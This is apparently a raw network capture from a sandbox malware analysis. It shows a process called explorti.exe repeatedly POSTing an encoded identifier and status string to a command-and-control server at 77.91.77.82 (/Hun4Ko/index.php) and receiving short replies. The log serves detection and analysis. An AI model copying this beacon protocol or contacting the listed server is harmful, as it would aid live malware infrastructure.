Jun 27, 2024 19:27:36.897840023 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:37.127934933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49750	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:37.257308960 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:37.980015993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:37.980762959 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:38.210628033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49751	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:38.327785015 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:39.029901028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:39.030586958 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:39.247476101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49752	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:39.359160900 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:40.068030119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:40.070945978 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:40.296237946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49753	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:40.406106949 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:41.138149977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:41.138827085 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:41.373022079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49754	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:41.484155893 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:42.210860014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:42.211909056 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:42.440956116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49755	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:42.562347889 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:43.270112038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:43.270934105 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:43.511472940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49756	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:43.635098934 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:44.443392992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:44.444153070 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:44.669002056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49757	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:44.781238079 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:45.483794928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:45.484627008 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:45.706136942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49758	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:45.830054998 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:46.529145002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:46.529803038 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:46.751033068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49759	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:46.859142065 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:47.572345018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:47.575500011 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:47.795928001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49760	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:47.905881882 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:48.593755960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:48.594810963 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:49.045336008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 27, 2024 19:27:49.046891928 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49761	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:49.156510115 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:49.871052980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:49.871750116 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
